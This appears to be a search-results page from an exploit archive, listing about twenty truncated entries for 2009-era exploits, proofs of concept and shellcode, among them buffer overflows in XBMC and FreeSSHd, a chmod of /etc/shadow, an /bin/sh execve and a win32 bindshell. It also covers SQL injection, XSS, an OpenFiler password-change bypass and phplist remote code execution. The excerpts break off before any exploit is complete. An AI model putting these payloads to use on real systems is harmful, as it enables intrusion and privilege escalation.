2129 matches found
NovaBoard 1.0.3 Local File Inclusion
NovaBoard v1.0.3 preview.php theme Local File Inclusion Vulnerability + Discovered By SirGod + www.mortal-team.net + www.h4cky0u.org + Local File Inclusion registerglobals = on magicquotesgpc=off - Vulnerable code in /includes/forums/preview.php :...
XBMC 8.10 (Get Request) Remote Buffer Overflow Exploit (win)
Exploit for windows platform in category remote exploits ============================================================ XBMC 8.10 Get Request Remote Buffer Overflow Exploit win ============================================================ !/usr/bin/env python ''' Xbmc get request remote buffer...
DeepBurner 1.9.0.228 Stack Buffer Overflow (SEH) PoC
Exploit for unknown platform in category dos / poc ==================================================== DeepBurner 1.9.0.228 Stack Buffer Overflow SEH PoC ==================================================== //DeepBurner 1.9.0.228 Stack Buffer Overflow SEH overwrite //prog name burner.c include...
Wireshark 1.0.6 - PN-DCP Format String (PoC)
/ THCX Wireshark include include char sploit= "\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x01\x00\x00\x00" "\x96\x2c\x8f\x47\x97\xaa\x0d\x00\x22\x00\x00\x00\x22\x00\x00\x00\x00\x02\xe3\x17\xc7\x50\x00\x80"...
FreeSSHd 1.2.1 (rename) Remote Buffer Overflow Exploit (SEH)
Exploit for windows platform in category remote exploits ============================================================ FreeSSHd 1.2.1 rename Remote Buffer Overflow Exploit SEH ============================================================ FreeSSHd 1.2.1 rename Remote Buffer Overflow Exploit Test box...
BS.Player 2.34 .bsl Buffer Overflow
?php / Bs.Player = 2.34 Build 980 .bsl local buffer overflow 0day exploit seh by Nine:Situations:Group::pyrokinesis Overlong hostnames in bsplayer playlist files causes eax and seh handlers to be overwritten. Cannot reliably debug with olly because of code compression, just used...
Bs.Player <= 2.34 Build 980 (.bsl) local buffer overflow 0day exploit (seh)
?php / Bs.Player = 2.34 Build 980 .bsl local buffer overflow 0day exploit seh by Nine:Situations:Group::pyrokinesis Overlong hostnames in bsplayer playlist files causes eax and seh handlers to be overwritten. Cannot reliably debug with olly because of code compression, just used...
MS Patch Tuesday: 3 bulletins, 8 vulnerabilities
Microsoft’s batch of security patches for March 2009 has been released released with fixes for 8 vulnerabilities in the Windows operating system. In all, the Redmond, Wash. software maker shipped three bulletins, one rated “critical,” the company’s highest severity rating. Here are the raw detail...
Easy Web Password 1.2 Local Heap Memory Consumption PoC
Exploit for unknown platform in category dos / poc ======================================================= Easy Web Password 1.2 Local Heap Memory Consumption PoC ======================================================= !/usr/bin/env ruby Easy Web Password V1.2 Local Heap Memory Consumption Proof ...
pPIM 1.0 Multiple Remote Vulnerabilities
No description provided by source. - -= pPIM Multiple Vulnerabilities =- Version Tested: pPIM 1.0 Vendor notified Full details can also be found at http://www.lampsecurity.org/node/18 Author: Justin C. Klein Keane [email protected] Description pPIM...
linux/x86 chmod("/etc/shadow",666) & exit(0) 30 bytes
No description provided by source. / Linux/x86 - chmod"/etc/shadow",666 & exit0 Info reg ------------------ %eax = 15 %ebx = /etc/shadow %ecx = 666 %eax = 1 %ebx = 0 Shellcode 30 bytes Author: Jonathan Salwan submit AT shell-storm.org Web: http://www.shell-storm.org Disassembly of section .text:...
Aix - execve /bin/sh - 88 bytes
No description provided by source. / Aix execve of /bin/sh Georgi Guninski [email protected] / unsigned int code= 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 , 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c , 0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 , 0x3c602f73 , 0x60636801 ...
Microsoft Internet Explorer 7 (Windows XP SP2) - Memory Corruption (MS09-002)
// Skyland win32 bindshell 28876/tcp shellcode // If you want an evill Shellcode go ahead !!! var...
Graugon Gallery 1.0 - Cross-Site Scripting / SQL Injection / Cookie Bypass
0x01 Informations: Name : Graugon Gallery 1.0 Download : http://www.hotscripts.com/jump.php?listingid=87617&jumptype=1 Vulnerability : Sql Injection/ Insecure Cookie Handling/XSS Author : x0r Contact : [email protected] Notes : Proud to be Italian 0x02 Bug: Bugged file is /path/admin.php Code...
Euphonics Audio Player 1.0 XP/SP3 Exploit
include include include define overflow 1324 define NOP 0x90 define pls "Eye.pls" int main int argc,char argv char winsp3 = "\x7B\x46\x86\x7C"; char bufferoverflow; FILE Player; unsigned char shellcode = "\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xec"...
Phormer PhotoGallery 3.3.1 Insecure Cookie
Exploit Code : Phormer PhotoGallery 3.3.1 Insecure Cookie Handling Vulnerability Author: Hussin X Home : www.IQ-TY.com & www.TrYaG.cc Mail : [email protected] script : http://p.horm.org/er DorK:"This PhotoGallery is powered by Phormer" exploiT: go to admin page www.site.com/admin.php exploiT...
OpenFiler 2.3 - (Authentication Bypass) Remote Password Change
Exploit code PoC for OpenFiler 2.3 current by just a nonroot user http://nonroot.blogspot.com/ import urllib,sys,re host example: https://192.168.20.5:446/ host=rawinput"OpenFiler system include http and /: " Super admin user user='openfiler' What pass do you want? password='nonroot' use it pleas...
phplist 2.10.x (RCE by environ inclusion) Local File Inclusion Exploit
No description provided by source. phplist 2.10.x remote code execution Credit:AmnPardaz Security Research Team for the vuln exploit author [email protected] Poc root@server pentest perl phplistrce.pl http://www.helpcenter.it/list/ phplist 2.10.x 0day RCE may b others by mozi: uname -a 686 i686...
ManageEngine Firewall Analyzer 5 - Cross-Site Request Forgery / Cross-Site Scripting
Written By Michael Brooks Special thanks to str0ke! Product: ManageEngine Firewall Analyzer 5 - XSRF and XSS Vulerable version: Build Version : 5.0.0 Build Number : 5000 Build Date : Apr25 homepage: http://fwanalyzer.com/ This is live exploit code against the online demo. Go ahead, run it! With...
PHP-List Remote Code Execution
phplist 2.10.x remote code execution Credit:AmnPardaz Security Research Team for the vuln exploit author [email protected] Poc root@server pentest perl phplistrce.pl http://www.helpcenter.it/list/ phplist 2.10.x 0day RCE may b others by mozi: uname -a 686 i686 i386 GNU/Linux mozi: w 04:43:41 up...